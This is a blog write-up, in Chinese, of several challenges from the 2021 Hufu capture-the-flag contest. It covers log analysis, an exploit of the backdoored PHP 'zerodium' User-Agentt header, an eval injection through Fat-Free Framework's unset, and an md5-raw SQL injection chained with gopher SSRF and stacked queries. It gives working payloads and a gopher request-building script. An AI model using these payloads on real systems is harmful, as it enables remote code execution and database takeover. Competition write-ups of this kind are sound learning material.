虎符2021 部分题目Writeup

虎符2021 部分题目Writeup

Misc

你会日志分析吗

​ 理论上这题更像是签到题,拿到文件后查看内容,发现是一个SQL注入。在翻的时候发现有两种Content-Length:399和377,这里377偏少,用命令带出来

strings access.log|grep "377"

把ascii码转成字符串

import base64
flag = [90,109,120,104,90,51,116,90,98,51,86,102,89,88,74,108,88,51,78,118,88,50,100,121,90,87,70,48,102,81,61,61]
flag1 = ''
for i in flag:
    flag1 += chr(i)
print flag1

#ZmxhZ3tZb3VfYXJlX3NvX2dyZWF0fQ==

用base64解一下获得FLAGflag{You_are_so_great}

除了日志以外,对于流量包也可以用相同的方式来带出SQL注入的内容。

Web

签到

​ 一开始摸不着脑袋,查了框架,然后通过代码想看看是否存在漏洞。最后还是主办方发出来了hint2021年3月28日,PHP维护的官方Git服务器 git.php.net 被袭击,其Git仓库遭到恶意篡改。如果开发者使用这些遭到篡改的源代码进行网页的开发的话,网站就会在不知情的情况下被感染,一下子就知道是啥了。

参考P神所说:
这个后门代码很简单,它被加到zlib扩展里,当发现请求User-Agentt中包含字符串zerodium时,则用eval执行User-Agentt第8位字符后内容。黑客大概是希望传入并执行zerodiumphpinfo();这样的内容。

这里查了一下Payload直接利用

GET / HTTP/1.1
Host: eci-2ze3piaq8erabswkiucs.cloudeci1.ichunqiu.com
User-Agentt: zerodiumsystem('cat /flag');
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=876b2db877002a0475ea5dcdcabd2f5a; __jsluid_h=5ac3029577af80225b2656a16e9adba4
Upgrade-Insecure-Requests: 1

#flag{0500755a-aeff-41f3-a398-d21a1a04289c}

unsetme

代码如下

<?php
// Kickstart the framework
$f3=require('lib/base.php');

$f3->set('DEBUG',1);
if ((float)PCRE_VERSION<8.0)
    trigger_error('PCRE version is out of date');

// Load configuration
highlight_file(__FILE__);
$a=$_GET['a'];
unset($f3->$a);

$f3->run();

​ f3框架,先去Github上吧base.php下下来,地址:https://codeload.github.com/bcosca/fatfree/zip/master ,接着就是本地调试了

在Debug的过程中发现存在一处eval()危险函数,在这前面加一句echo看看执行代码echo 'unset('.$val.');';

else {
	$val=preg_replace('/^(\$hive)/','$this->hive',
		$this->compile('@hive.'.$key, FALSE));
	eval('unset('.$val.');');
	if ($parts[0]=='SESSION') {
		session_commit();
		session_start();
	}
	if ($cache->exists($hash=$this->hash($key).'.var'))
		// Remove from cache
		$cache->clear($hash);
}
url/?a=b']);//
#返回
#unset($this->hive['b\'']]);//);
#发现它好像会自己补充'],于是改一下Payload

url/?a=b);//
unset($this->hive['b);//']);
#但是这时候它的']又补在了最后,继续测试

url/?a=b%0a);//
#返回
#unset($this->hive['b'] );//);
#这时候回显的内容就是我们想要的,去打的时候发现也是可行的

url/?a=b%0a);system('cat /')//
#获得flag

#这里的思路就是要闭合前面的内容,然后执行我们想要的代码。对于这种题型,先让它走一遍,知道了它经过那些函数,然后在来调Payload内容可能会好点

url/?a=b[]);phpinfo();//
#这种方式也可以,来源于Y4师傅的Payload:url/?a=b['phpinfo'()],但是他的Payload还没研究明白,呜呜呜要是有看懂请DD我

“慢慢做”管理系统

题目介绍
	这个sql吧,有点ssrf的样子,首页是一个很普通的sql注入,没有什么花样,但是我的admin.php是一个内网的管理系统,只要你用“真-admin”的密码登录了,就可以拿到flag,反正慢慢做就对了,不要急躁,静下心。

​ 一开始不给hint真不会做,就硬猜,对着没有效果的页面一顿输出。终于等到了hint第一步登录的sql语句是"SELECT * FROM users WHERE password = '".md5($password,true)."' limit 0,1";,是md5注入,网上找了Payloadffifdyop被过滤了,换一个就好了129581926211651571912466741651878684928

进去后给了下一个提示your way to gopher,这里应该是要用gopher协议打admin.php。

​ 访问admin.php试试(这里可以不用gopher协议,Payload:url/ssrf.php?way=127.0.0.1%2Fadmin.php)通过页面的内容知道了是POST请求,提交的参数是username和password

​ 接着编写一个报文转gopher协议请求的结构的脚本,这里用了手动的两次URL编码,这个问题之前和Y4讨论过,如果是单次URL编码,在传参时可能还是存在一些特殊字符把Payload截断了,所以这里用了两次URL编码。这题对于学习Gopher协议携带TCP数据流的语法格式挺好的。

import requests

#b = "username=admin';rename table fake_admin to word1;rename table real_admin_here_do_you_find to fake_admin;show tables;&password=1"
# b = "username=admin'or 1=1;&password=1"
# b = "username=admin';rename table fake_admin to real_admin_here_do_you_find;rename table word1 to fake_admin;show tables;&password=1"
b = "username=admin_inner&password=5fb4e07de914cfc82afb44vbaf402203"

a = """POST /admin.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

""" .format(len(b))+ b

print a

Payload = ''
for i in a:
    if i == '\n':
        Payload += '%250d%250a'
    else:
        Payload += hex(ord(i)).replace('0x', '%25')
print(Payload)

url = "http://eci-2zeg9ymisdv121tyvt8o.cloudeci1.ichunqiu.com/ssrf.php?way=gopher://127.0.0.1:80/_"

cookies ={
    "PHPSESSID":"fjh0g06eigi5m13rkmr945a675",
    "__jsluid_h":"b989206c47cca381b8d7bb2ae4ebd14e"
}

res = requests.get(url=url+Payload,cookies=cookies)
print res.text

​ 测试了一些关键词都被ban了,如:selectorder byconcatchar等关键词,最后尝试发现Payloadusername=admin'or 1=1#&password=123会回显内容。但是没有鸭!做不了盲注

​ 重新选择发现可以使用堆叠注入,Payloadusername=admin';show databases;&password=123可以获得库;Payloadusername=admin';show tables;&password=123可以获得表;Payloadusername=admin';show columns from real_admin_here_do_you_find;&password=123可以获得列名

​ 这里主要是拿到表名:real_admin_here_do_you_find,然后卡了很久,因为selecthandler都用不了。发现修改表名的关键字rename没有被ban掉。那就跟现在查询表名换一下,拿到用户名和密码

username:admin_inner
password:5fb4e07de914cfc82afb44vbaf402203

接着就正常登录,然后拿到PHPSESSID,访问url/flag.php时带上新的PHPSESSID就可以获得flag了

总结

​ 没有二进制的爷,Web狗该如何在这险恶环境下前行?

posted @ 2021-04-12 12:55  erR0Ratao  阅读(455)  评论(3编辑  收藏  举报